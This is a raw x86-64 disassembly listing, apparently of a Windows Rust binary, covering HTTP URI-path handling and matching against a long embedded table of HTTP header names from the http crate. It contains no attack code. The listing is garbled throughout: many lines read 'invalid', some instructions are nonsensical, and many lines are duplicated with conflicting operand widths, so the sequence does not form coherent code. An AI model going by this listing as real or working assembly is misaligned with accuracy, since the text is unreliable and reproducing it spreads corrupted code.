mov r8, qword [rsi + 0x20]
call qword [rbx + 0x10]
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x14002430d
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
lea rcx, [rsi + 0x48]
mov rdx, qword [rsi + 0x38]
mov r8, qword [rsi + 0x40]
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp rax
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov dl, 7
mov byte [rcx + 1], dl
mov byte [rcx], 3
cmp al, 2
je 0x1400242ae
jmp 0x1400242d6
int3
mov qword [rcx + 0x18], 0
lea rcx, [0x140145a40]
invalid
adc al, byte [rax]
mov qword [rax], rcx
ret
imul edx, dword [rax - 2], 0xccccccff
int3
int3
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
mov rdi, rdx
xlatb
mov rsi, rcx
cmp byte [rcx], 0
je 0x140024402
mov qword [rsp + 0x38], rsi
cmp byte [rax - 0x73], cl
and al, 0x38
lea rax, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [0x140026040]
sbb al, 0
add byte [rax - 0x77], cl
and al, 0x30
invalid
sbb al, 0
add byte [rax - 0x77], cl
and al, 0x30
invalid
xor byte [rax - 0x73], cl
add eax, 0x12175e
adc al, byte [rax]
lea rax, [0x140145b18]
adc al, byte [rax]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
push rdi
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
call fcn.140009870
mov ecx, eax
mov al, 1
dec dword [rcx - 0x7bfe4f3f]
leave
test cl, cl
jne 0x1400245e8
cmp qword [rsi + 0x20], 0
je 0x140024477
add byte [rsi + rbp*2 + 0x48], dh
lea eax, [rsi + 0x10]
lea rax, [rsi + 0x10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
lea rax, case.0x140020051.28
mov qword [rsp + 0x30], rax
sbb eax, 0x48ffffee
mov dword [rsp + 0x30], eax
lea rax, [0x14018eb28]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
pop rax
pop rax
mov qword [rsp + 0x60], 1
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
mov edx, dword [rdi + 0x28]
and byte [rax - 0x75], cl
push rdi
sub byte [rbp + rcx*4 + 0x44], cl
invalid
invalid
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
and al, 0x48
call fcn.140009870
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400245e8
mov rdx, qword [rsi + 0x40]
test rdx, rdx
test rdx, rdx
test edx, edx
jne 0x140024489
cmp byte [rsi], 0
je 0x1400245f7
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
push rax
add byte [rax], al
movzx r9d, word [rsi + 0x50]
mov rcx, qword [rsi + 0x38]
cmp r9, 0xffff
stc
invalid
inc dword [rax]
invalid
je 0x1400244c5
stc
invalid
test r9, r9
je case.0x14001a968.168
cmp rdx, r9
jbe case.0x14001a902.193
cmp byte [rcx + r9], 0xbf
cmp byte [rcx + rcx], 0xbf
jg case.0x14001a968.168
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.140122bb0
jne 0x1400244ac
mov rdx, r9
cmp rdx, 1
mov rax, rdx
mov eax, edx
adc rax, 0
test rdx, rdx
lea rdx, [0x14018e0c8]
lea edx, [0x14018e0c8]
wait
invalid
cmove rcx, rdx
retf 0x8948
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
and al, 0x30
sub byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
and al, 0x30
lea r14, [rsp + 0x28]
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x38], esi
lea r15, [0x140031b60]
lea edi, [0x140031b60]
mov qword [rsp + 0x40], r15
lea rax, [0x14018eb28]
jl 0x140024521
lea rax, [0x14018eb28]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
lea r12, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 1
invalid
add dword [rax], eax
add byte [rax], al
mov rbx, qword [rdi + 0x20]
mov ebx, dword [rdi + 0x20]
invalid
pop rdi
and byte [rax - 0x75], cl
mov rdi, qword [rdi + 0x28]
mov rdi, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
mov rcx, rbx
mov rdx, rdi
call fcn.140009870
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400245e8
invalid
add byte [rdi + rcx - 0x49], al
movzx r8d, word [rsi + 0x50]
push rax
cmp r8, 0xffff
je 0x14002458f
inc r8
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov rax, rdx
sub rax, r8
jbe 0x140024593
cmp byte [rcx + r8], 0xbf
jg 0x140024595
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rcx - 0x77], cl
shr eax, 1
and esi, esp
invalid
mov r9, rdx
call fcn.140122bb0
xor eax, eax
jmp 0x1400245e8
jne case.0x14001a968.181
add rcx, r8
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], r12
invalid
mov qword [rsp + 0x30], r15
and al, 0x30
lea rax, [0x140145b38]
test dword [0xc94a45c7], edx
and al, 0x48
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], 1
lea r8, [rsp + 0x48]
invalid
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
mov rcx, rbx
mov rcx, rbx
mov rdx, rdi
call fcn.140009870
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, 1
xor eax, eax
jmp 0x1400244de
invalid
invalid
invalid
invalid
int3
int3
mov al, 0xb2
invalid
add al, 0x11
lea rdx, str.invalid_uri_characterinvalid_schemeinvalid_authorityinvalid_portinvalid_formatscheme_missingauthority_missingpath_missinguri_too_longempty_stringscheme_too_long
mov rdx, qword [rcx + rdx]
adc al, 0x11
adc al, 0x11
mov rcx, rax
jmp fcn.1400093e0
invalid
dec esp
int3
invalid
mov edx, dword [rcx + rax*8]
lea rcx, str.acceptaccept_charsetaccept_encodingaccept_languageaccept_rangesaccess_control_allow_credentialsaccess_control_allow_headersaccess_control_allow_methodsaccess_control_allow_originaccess_control_expose_headersaccess_control_max_ageaccess_control_request_headersaccess_control_request_methodageallowalt_svcauthorizationcache_controlcache_statuscdn_cache_controlconnectioncontent_dispositioncontent_encodingcontent_languagecontent_lengthcontent_locationcontent_rangecontent_security_policycontent_security_policy_report_onlycontent_typecookiedntdateetagexpectexpiresforwardedfromif_matchif_modified_sinceif_none_matchif_rangeif_unmodified_sincelast_modifiedlinklocationmax_forwardsoriginpragmaproxy_authenticateproxy_authorizationpublic_key_pinspublic_key_pins_report_onlyrangerefererreferrer_policyrefreshretry_aftersec_websocket_acceptsec_websocket_extensionssec_websocket_keysec_websocket_protocolsec_websocket_versionserverset_cookiestrict_transport_securitytetrailertransfer_encodinguser_agentupgradeupgrade_insecure_requestsvaryviawarningwww_authenticatex_content_type_optionsx_dns_prefetch_controlx_frame_optionsx_xss_protectionToStrError_priv
mov rax, qword [rcx + rax*8]
ret
int3
je 0x140024649
invalid
movabs rdx, 0x9d081263bb137cb4
ret
invalid
int3
int3
test bh, dl
adc eax, 0x83490000
clc
ja 0x1400246ad
mov r10, qword [rsp + 0x50]
and al, 0x50
mov r11d, r8d
and r11d, 3
invalid
add ecx, dword [rcx - 0x7d]
clc
add al, 0x73
invalid
cmp r8, 4
jae 0x1400246c8
xor ebx, ebx
jmp 0x140024717
cmp r8, 0xffff
ja case.0x1400196ab.390
mov qword [rcx], rdx
mov qword [rcx + 8], r8
xor eax, eax
jmp case.0x1400196ab.390
invalid
add byte [rax], al
adc dword [rcx + rcx*4 + 0x41], ecx
or byte [rcx], dh
shr cl, 0xa0
adc eax, 0x89440000
mov byte [rbx - 0xce831a], 0xf
out 0x7c, al
xor edi, edi
invalid
mov dh, 0x1c
mov esi, r8d
and esi, 0x7c
out 0x7c, al
out 0x7c, al
xor edi, edi
movzx ebx, byte [rdx + rdi]
movzx ebx, byte [r10 + rbx]
mov byte [r9 + rdi], bl
sbb al, 0x39
cmp al, byte [rcx + 0xf]
mov dh, 0x1c
sbb al, byte [rcx - 0x78]
sbb al, 0x39
movzx ebx, byte [rdx + rdi + 1]
movzx ebx, byte [r10 + rbx]
mov byte [r9 + rdi + 1], bl
mov byte [rcx + rdi + 1], bl
cmp dword [rcx], eax
movzx ebx, byte [rdx + rdi + 2]
pop rsp
cmp al, byte [rdx]
movzx ebx, byte [r10 + rbx]
mov byte [r9 + rdi + 2], bl
mov byte [rcx + rdi + 2], bl
mov byte [rcx + rdi + 2], bl
pop rsp
cmp dword [rdx], eax
lea rbx, [rdi + 4]
movzx r14d, byte [rdx + rdi + 3]
cmp al, byte [rbx]
cmp al, byte [rbx]
movzx ebp, byte [r10 + r14]
mov dh, 0x2c
xor al, byte [rcx - 0x78]
mov byte [r9 + rdi + 3], bpl
mov byte [r9 + rdi + 3], bpl
mov rdi, rbx
cmp rsi, rbx
fidiv word [rbp - 0x47]
fidiv word [rbp - 0x47]
mov ecx, 0x74db854d
sub byte [rcx - 0x73], cl
xor al, 0x19
test r11, r11
test ebx, ebx
je case.0x14001aeff.229
lea rsi, [r9 + rbx]
add rdx, rbx
xor edi, edi
jmp qword [rsi + 0x66]
nop dword cs:[rax + rax]
jmp qword [rsi + 0x66]
nop dword cs:[rax + rax]
movzx ebx, byte [rdx + rdi]
movzx ebx, byte [r10 + rbx]
mov byte [rsi + rdi], bl
sbb al, 0x3e
cmp al, byte [rcx + 0xf]
mov dh, 0x1c
sbb cl, byte [rax - 0xb7c1e4]
sbb al, 0x3e
inc rdi
sbb al, 0x3e
inc rdi
cmp r11, rdi
cmp ebx, edi
cmp ebx, edi
jne case.0x1400196ab.260
lea rdx, [r8 - 2]
cmp rdx, 0x21
push rax
dec byte [rax - 0x7d]
cli
and dword [rdi], ecx
invalid
xchg ecx, esp
ja case.0x140024760.26
adc al, byte [rax]
add byte [rbp + rcx*4 + 0x15], cl
invalid
invalid
invalid
lea r10, [0x140192738]
lea edx, [0x140192738]
movsxd rdx, dword [r10 + rdx*4]
add rdx, r10
invalid
sar bh, cl
loop 0x1400247a4
invalid
jmp rdx
cmp byte [r9], 0x74
cmp byte [rcx], 0x74
jne case.0x140024b4d.103
rcl dword [rdx]
add byte [rax], al
invalid
add byte [rdx + 0x65b24143], dh
mov dl, 0x43
mov r10b, 0x65
mov dl, 0x65
mov r11d, 1
jmp 0x140025a24
add byte [rax], al
add byte [rax], al
movdqu xmm0, xmmword [r9]
pcmpeqb xmm0, xmmword [0x14012f7c0]
pmovmskb edx, xmm0
xor edx, 0xffff
jne case.0x140024e6f.100
invalid
invalid
adc al, 0
invalid
rol byte [rcx + 0xfffff2], 1
add byte [rdi], cl
test dword [0x1810247ae], esp
and eax, 0x41000014
cmp byte [r9 + 0x10], 0x63
cmp byte [rcx + 0x10], 0x63
jns 0x1400247ad
adc byte [rbx + 0xf], ah
test dword [rdx], ebx
adc al, 0
add byte [rcx - 0x80], al
invalid
jns 0x1400247b9
invalid
jne case.0x140024e6f.100
cmp byte [r9 + 0x11], 0x65
adc dword [rbp + 0xf], esp
test dword [rdi], ecx
adc al, 0
jne case.0x140024e6f.100
jne case.0x140024e6f.100
add byte [rax], al
add byte [rcx - 0x80], al
cmp byte [r9 + 0x12], 0x70
cmp byte [rcx + 0x12], 0x70
jns 0x1400247c5
jo case.0x14001b2de.198
jne case.0x140024e6f.100
test dword [rsp + rdx], eax
add byte [rax], al
add byte [rdx + 0x74b2413b], dh
mov dl, 0x3b
mov r10b, 0x74
mov r11d, 0x13
add cl, ch
pop rdx
jmp 0x140025a24
adc al, byte [rax]
add bl, dh
movdqu xmm0, xmmword [r9]
movdqu xmm0, xmmword [r9]
pcmpeqb xmm0, xmmword [0x14012f7f0]
pcmpeqb mm0, qword [0x14012f7f0]
sbb dword [rax + 0xf660010], esi
mov al, 0x10
add byte [rsi + 0xf], ah
pmovmskb edx, xmm0
xor edx, 0xffff
invalid
invalid
inc dword [rax]
add byte [rax], al
xlatb
rol byte [rcx + 0xfffff2], 1
invalid
invalid
inc dword [rax]
add byte [rax], al
invalid
test edi, edx
xlatb
invalid
add byte [rax], al
jne case.0x140024e6f.100
adc eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x7f], al
jns 0x1400247fb
invalid
cmp dword [r9 + 0x10], 0x6c6f702d
jne case.0x140024e6f.100
test ecx, ecx
adc eax, dword [rax]
invalid
adc byte [0x14f6eb760], ch
sub eax, 0xf6c6f70
test ecx, ecx
adc eax, dword [rax]
add byte [rcx - 0x80], al
jns case.0x14001aeff.250
cmp byte [r9 + 0x14], 0x69
jne case.0x140024e6f.100
invalid
imul ecx, dword [rdi], 0x13be85
test dword [rsi + 0x41000013], edi
cmp byte [rcx + 0x15], 0x63
add byte [rcx - 0x80], al
jns case.0x140017b67.358
cmp byte [r9 + 0x15], 0x63
invalid
jne case.0x140024e6f.100
test dword [rbx - 0x4dffffed], esi
mov dl, 0x1b
sbb eax, dword [rcx - 0x4e]
mov r10b, 0x79
mov r11d, 0x16
invalid
add byte [rax], al
add byte [rax], al
jns 0x140024852
mov ebx, 0x16
invalid
add byte [rax], al
add cl, ch
or dword [rdx], edx
jmp 0x140025a24
add byte [rax], al
movzx edx, byte [r9]
add edx, 0xffffff9f
lahf
cmp edx, 0x17
ja case.0x140024b4d.103
adc dl, byte [rdx]
add byte [rax], al
adc dl, byte [rdx]
add byte [rax], al
lea r10, [0x1401928e0]
movsxd rdx, dword [r10 + rdx*4]
invalid
adc al, 0x92
scasb al, byte [rdi]
loopne case.0x14001b2de.188
add byte [rcx + 0x63], cl
adc al, 0x92
invalid
add rdx, r10
jmp rdx
sar bh, cl
loop 0x14002487d
invalid
cmp dword [r9 + 1], 0x70656363
cmp dword [rcx + 1], 0x70656363
invalid
jne case.0x140024b4d.103
add byte [rax], al
cmp byte [r9 + 5], 0x74
jne case.0x140024b4d.103
test ecx, ebp
adc dword [rax], eax
invalid
test ecx, ebp
adc dword [rax], eax
jmp 0x181024866
add byte [rax], al
add byte [rcx - 0x80], al
jns 0x14002485e
cmp byte [r9 + 6], 0x2d
cmp byte [rcx + 6], 0x2d
sub eax, 0x11de850f
add byte [rax], al
jne case.0x140024b4d.103
test esi, ebx
adc dword [rax], eax
add byte [rcx + 0xf], al
movzx edx, byte [r9 + 7]
cmp edx, 0x6c
je 0x140025b4c
test bh, bl
adc al, byte [rax]
invalid
mov dh, 0x51
push rcx
invalid
test bh, bl
adc al, byte [rax]
add byte [rbx - 0x7af09a06], al
invalid
cmp edx, 0x65
jne case.0x140024b4d.103
test edi, eax
adc dword [rax], eax
invalid
invalid
adc dword [rax], eax
add byte [rcx - 0x7f], al
invalid
jns 0x140024882
cmp dword [r9 + 8], 0x646f636e
cmp dword [rcx + 8], 0x646f636e
outsb dx, byte [rsi]
invalid
jne case.0x140024b4d.103
jne case.0x140024b4d.103
test dword [rcx + 0x41000011], edi
mov ecx, 0x41000011
add byte [rax], al
add byte [rcx - 0x80], al
jns 0x140024894
cmp byte [r9 + 0xc], 0x69
cmp byte [rcx + 0xc], 0x69
imul ecx, dword [rdi], 0x11ae85
add byte [rcx - 0x80], al
invalid
invalid
jns 0x1400248a0
jne case.0x140024b4d.103
test dword [rsi + 0x41000011], ebp
cmp byte [rcx + 0xd], 0x6e
add byte [rax], al
cmp byte [r9 + 0xd], 0x6e
outsb dx, byte [rsi]
jne case.0x140024b4d.103
mov dl, 2
mov r10b, 0x67
mov r11d, 0xe
invalid
mov ebx, 0xe
add cl, ch
jp case.0x14001a902.208
jmp 0x140025a24
add byte [rax], al
movdqu xmm0, xmmword [r9]
movq mm0, qword [r9]
pcmpeqb xmm0, xmmword [0x14012f8a0]
pcmpeqb mm0, qword [0x14012f8a0]
add eax, 0x10afe9
pmovmskb edx, xmm0
xlatb
rol byte [rcx + 0xfffff2], 1
invalid
invalid
invalid
inc dword [rax]
xor edx, 0xffff
jne case.0x140024e6f.100
invalid
inc dword [rax]
add byte [rdi], cl
test edi, esi
adc al, byte [rax]
add byte [rcx - 0x7f], al
jns 0x1400248db
cmp dword [r9 + 0x10], 0x776f6c6c
cmp dword [rcx + 0x10], 0x776f6c6c
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1400248df
jne case.0x140024e6f.100
test ecx, ebp
adc al, byte [rax]
add byte [rcx - 0x80], al
invalid
invalid
jns 0x1400248ed
jmp 0x1810248e8
cmp byte [r9 + 0x14], 0x2d
jne case.0x140024e6f.100
test esi, ebx
adc al, byte [rax]
add byte [rcx + 0xf], al
movzx edx, byte [r9 + 0x15]
cmp edx, 0x6d
je 0x14002579f
invalid
add byte [rax], al
mov dh, 0x51
adc eax, 0xf6dfa83
test byte [rcx - 0x7cfffff2], dh
invalid
add byte [rax], al
invalid
cli
invalid
cmp edx, 0x68
jne case.0x140024e6f.100
push 0x12c7850f
add byte [rax], al
invalid
cmp dword [r9 + 0x16], 0x65646165
jne case.0x140024e6f.100
invalid
adc al, byte [rax]
invalid
mov ecx, 0x41000012
cmp byte [rcx + 0x1a], 0x72
jns case.0x1400196ab.242
invalid
cmp byte [r9 + 0x1a], 0x72
jns case.0x1400196ab.242
jb 0x14002491a
jne case.0x140024e6f.100
test dword [rsi - 0x4dffffee], ebp
invalid
add byte [rax], al
mov dl, 6
jmp 0x1400257ba
invalid
add byte [rcx + 0xf], al
mov dh, 0x11
movzx edx, byte [r9]
adc dword [rbx - 0x7bf08a06], eax
cmp edx, 0x75
je 0x14002518c
test byte [rax + 8], ch
add byte [rax], al
invalid
cli
jne 0x14002492e
test byte [rax + 8], ch
add byte [rax], al
invalid
push 0xffffffff83000008
cli
jae 0x140024937
add byte [rbx - 0x7af08c06], al
xchg ecx, eax
cmp edx, 0x73
jne case.0x140024e6f.100
adc al, byte [rax]
invalid
test dword [rcx - 0xcffffee], edx
adc al, byte [rax]
add bl, dh
add byte [rax], al
movdqu xmm0, xmmword [r9 + 1]
movq mm0, qword [r9 + 1]
add dword [r14 + 0xf], esp
pcmpeqb xmm0, xmmword [0x14012f790]
je 0x14002493c
push rbp
scasb al, byte [rdi]
adc byte [rax], al
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
invalid
add byte [rax], al
jne case.0x140024e6f.100
cmp dword [r9 + 0x11], 0x75636573
jne case.0x140024e6f.100
adc al, byte [rax]
add byte [rcx - 0x80], al
jns 0x140024972
add byte [rax], al
cmp byte [r9 + 0x15], 0x72
jne case.0x140024e6f.100
test dword [rdx + 0x12], ebx
add byte [rax], al
jb 0x14002496e
test dword [rdx + 0x12], ebx
add byte [rax], al
cmp byte [r9 + 0x16], 0x69
cmp byte [rcx + 0x16], 0x69
jne case.0x140024e6f.100
adc al, byte [rax]
add byte [rcx - 0x80], al
jns case.0x140024760.12
cmp byte [r9 + 0x17], 0x74
jne case.0x140024e6f.100
invalid
je 0x140024984
test dword [rdx + rdx], eax
add byte [rdx + 0x79b24142], dh
mov dl, 0x42
mov r10b, 0x79
mov r11d, 0x18
add cl, ch
jmp 0x140025a24
invalid
movzx edx, byte [r9]
cmp edx, 0x6d
cli
insd dword [rdi], dx
adc dword [rbx - 0x7bf09206], eax
push rdx
or byte [rax], al
add byte [rbx - 0x7af09c06], al
invalid
cli
insd dword [rdi], dx
je 0x1400251e9
cmp edx, 0x63
jne case.0x140024b4d.103
invalid
popfq
adc byte [rax], al
invalid
popfq
adc byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0x51
add dword [rbx - 0x7bf09e06], eax
push rsp
adc byte [rax], al
add byte [rbx - 0x7af09006], al
xchg byte [rax], dl
movzx edx, byte [r9 + 1]
cmp edx, 0x61
je 0x140025a02
cmp edx, 0x6f
jne case.0x140024b4d.103
add byte [rax], al
add byte [rax], al
movabs rdx, 0x79742d746e65746e
outsb dx, byte [rsi]
je 0x140024a21
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
je 0x1400249ec
je 0x140024a3a
cmp qword [r9 + 2], rdx
jne case.0x140024b4d.103
adc byte [rax], al
invalid
jb case.0x1400196ab.294
adc byte [rax], al
add byte [rcx - 0x80], al
add byte [rax], al
cmp byte [r9 + 0xa], 0x70
jne case.0x140024b4d.103
test dword [rdi + 0x10], esp
add byte [rax], al
invalid
jns case.0x1400196ab.294
jo case.0x140024760.32
test dword [rdi + 0x10], esp
add byte [rax], al
invalid
mov dl, 0x1d
mov r10b, 0x65
mov dl, 0x65
jmp 0x140025a1e
movdqu xmm0, xmmword [r9]
add dword [rsi + 0xf], esp
je 0x1400249ee
pcmpeqb xmm0, xmmword [0x14012f8a0]
mov bl, 0xae
adc byte [rax], al
add byte [rsi + 0xf], ah
xlatb
rol byte [rcx + 0xfffff2], 1
inc dword [rax]
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
jne case.0x140024e6f.100
inc dword [rax]
add byte [rdi], cl
test ecx, eax
adc dword [rax], eax
add byte [rax - 0x46], cl
movabs rdx, 0x6572632d776f6c6c
cmp qword [r9 + 0x10], rdx
push rcx
invalid
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140024a31
invalid
sub eax, 0x49657263
cmp dword [rcx + 0x10], edx
push rcx
invalid
invalid
push rcx
adc byte [rdi], cl
test dword [rbp + 0x41000011], ebp
add byte [rcx - 0x7f], al
jns case.0x14001aeff.224
outsb dx, byte gs:[rsi]
invalid
jne case.0x140024e6f.100
add byte [rcx - 0x7f], al
jns case.0x14001aeff.224
cmp dword [r9 + 0x18], 0x746e6564
outsb dx, byte gs:[rsi]
je 0x140024a29
jne case.0x140024e6f.100
test dword [rdi + 0x41000011], ebx
cmp byte [rcx + 0x1c], 0x69
cmp byte [r9 + 0x1c], 0x69
jns 0x140024a3f
imul ecx, dword [rdi], 0x119485
jne case.0x140024e6f.100
add byte [rcx - 0x80], al
jns 0x140024a4b
invalid
cmp byte [r9 + 0x1d], 0x61
cmp byte [rcx + 0x1d], 0x61
sbb eax, 0x89850f61
adc dword [rax], eax
add byte [rcx - 0x80], al
invalid
invalid
jns 0x140024a57
invalid
jne case.0x140024e6f.100
mov dword [rcx], edx
add byte [rax], al
cmp byte [r9 + 0x1e], 0x6c
insb byte [rdi], dx
jne case.0x140024e6f.100
test dword [rsi + 0x11], edi
add byte [rax], al
add byte [rdx + 0x73b24105], dh
mov dl, 5
mov r10b, 0x73
mov r11d, 0x1f
invalid
jmp 0x140025a24
movdqu xmm0, xmmword [r9]
pcmpeqb xmm0, xmmword [0x14012f7b0]
je 0x140024a5e
push rbx
lodsd eax, dword [rsi]
adc byte [rax], al
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
add byte [rax], al
jne case.0x140024e6f.100
cmp dword [r9 + 0x10], 0x736e6574
je 0x140024ad8
outsb dx, byte [rsi]
jae 0x140024a85
jne case.0x140024e6f.100
test dword [rbx + 0x11], eax
add byte [rax], al
cmp byte [r9 + 0x14], 0x69
jne case.0x140024e6f.100
test dword [rax], edi
adc dword [rax], eax
invalid
jns 0x140024a93
imul ecx, dword [rdi], 0x113885
test dword [rax], edi
adc dword [rax], eax
add byte [rcx - 0x80], al
jns 0x140024a9f
cmp byte [r9 + 0x15], 0x6f
outsd dx, dword [rsi]
jne case.0x140024e6f.100
sub eax, 0x41000011
cmp byte [rcx + 0x16], 0x6e
cmp byte [r9 + 0x16], 0x6e
jns 0x140024aab
outsb dx, byte [rsi]
jne case.0x140024e6f.100
and dl, byte [rcx]
add byte [rax], al
mov dl, 0x3c
mov r10b, 0x73
mov dl, 0x73
mov r11d, 0x17
jmp 0x140025a24
js 0x140024ab9
add byte [rax], al
invalid
js 0x140024ab9
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0x11
invalid
movzx edx, byte [r9]
movzx edx, byte [rcx]
adc dword [rbx - 0x7bf09c06], eax
cmp edx, 0x63
je 0x14002521a
test byte [rcx + 7], ah
add byte [rax], al
invalid
cmp edx, 0x61
jne case.0x140024b4d.103
test dword [rbx + 0xf], edi
add byte [rax], al
test dword [rbx + 0xf], edi
add byte [rax], al
movabs rdx, 0x68632d7470656363
cmp qword [r9 + 1], rdx
jne case.0x140024b4d.103
sldt word [rax]
cmp dword [r9 + 9], 0x65737261
cmp dword [rcx + 9], 0x65737261
jns 0x140024ae3
or dword [rcx + 0x72], esp
jae 0x140024b43
invalid
invalid
jne case.0x140024b4d.103
jne case.0x140024b4d.103
test dword [rcx + 0xf], ebx
add byte [rax], al
sldt word [rax]
add byte [rdx + 0x74b24101], dh
mov dl, 1
mov r10b, 0x74
mov r11d, 0xd
jmp 0x140025a24
movdqu xmm0, xmmword [r9]
movq mm0, qword [r9]
pcmpeqb xmm0, xmmword [0x14012f7a0]
add eax, 0x10ac9f
lahf
lodsb al, byte [rsi]
adc byte [rax], al
invalid
add byte [rsi + 0xf], ah
xlatb
rol byte [rcx + 0xfffff2], 1
xor edx, 0xffff
jne case.0x140024e6f.100
cmp dword [r9 + 0x10], 0x6f697372
pmovmskb edx, xmm0
xor edx, 0xffff
jne case.0x140024e6f.100
cmp dword [r9 + 0x10], 0x6f697372
jns 0x140024b25
jb case.0x1400dd9c6.1038
imul ebp, dword [rdi + 0xf], 0x109f85
add byte [rdx + 0x6eb2413f], dh
mov r10b, 0x6e
outsd dx, dword [rsi]
jne case.0x140024e6f.100
mov dl, 0x3f
mov r10b, 0x6e
mov r11d, 0x14
mov ebx, 0x14
add cl, ch
jmp 0x140025a24
cmc
invalid
movzx edx, byte [r9]
movzx edx, byte [rcx]
mov dh, 0x11
add edx, 0xffffff9c
cmp edx, 0x12
ja case.0x140024b4d.103
lea r10, [0x1401927c0]
movsxd rdx, dword [r10 + rdx*4]
invalid
adc al, 0x92
fcom qword [rsi]
add byte [rcx + 0x63], cl
invalid
adc al, 0x92
invalid
invalid
add rdx, r10
jmp rdx
cmp byte [r9 + 1], 0x61
jns 0x140024b54
invalid
jne case.0x140024b4d.103
add byte [rcx - 0x80], al
cmp byte [r9 + 2], 0x74
jne case.0x140024b4d.103
jns 0x140024b60
je 0x140024b6f
test eax, ebx
invalid
mov dl, 0x20
mov r10b, 0x65
mov r11d, 3
mov r11d, 3
add cl, ch
scasd eax, dword [rdi]
invalid
jmp 0x140025a24
add bl, dh
movq mm0, qword [r9]
movq mm0, qword [rcx]
movdqu xmm0, xmmword [r9]
movq mm0, qword [rcx]
movdqu xmm1, xmmword [r9 + 0x10]
pcmpeqb xmm1, xmmword [0x14012f7e0]
lodsb al, byte [rsi]
adc byte [rax], al
pcmpeqb xmm0, xmmword [0x14012f7f0]
je 0x140024b91
invalid
lodsb al, byte [rsi]
adc byte [rax], al
pand xmm0, xmm1
pand mm0, mm1
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
jne case.0x140024e6f.100
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x80], al
jns case.0x140016398.808
cmp byte [r9 + 0x20], 0x6e
cmp byte [rcx + 0x20], 0x6e
outsb dx, byte [rsi]
jne case.0x140024e6f.100
cmp byte [r9 + 0x21], 0x6c
jns 0x140024bd4
insb byte [rdi], dx
jne case.0x140024e6f.100
test dword [rax + rdx], eax
add byte [rax], al
mov dl, 0x1c
mov r10b, 0x79
invalid
sbb al, 0x41
mov dl, 0x79
invalid
jns case.0x1400196ab.258
mov r11d, 0x22
mov ebx, 0x22
jmp 0x140025a24
add byte [rax], al
movzx edx, byte [r9]
add edx, 0xffffff9f
cmp edx, 0x16
ja case.0x140024b4d.103
lea r10, [0x140192854]
adc eax, 0x16dc73
jae 0x140024bbb
invalid
add byte [rcx + 0x63], cl
adc al, 0x92
movsxd rdx, dword [r10 + rdx*4]
add rdx, r10
jmp rdx
cmp dword [r9 + 1], 0x732d746c
cmp dword [rcx + 1], 0x732d746c
insb byte [rdi], dx
je 0x140024c1e
jae case.0x140016398.900
jne case.0x140024b4d.103
test dword [rbp + 0xe], eax
add byte [rax], al
cmp byte [r9 + 5], 0x76
jne case.0x140024b4d.103
add byte [rax], al
add byte [rdx + 0x63b2410f], dh
mov dl, 0xf
mov r10b, 0x63
invalid
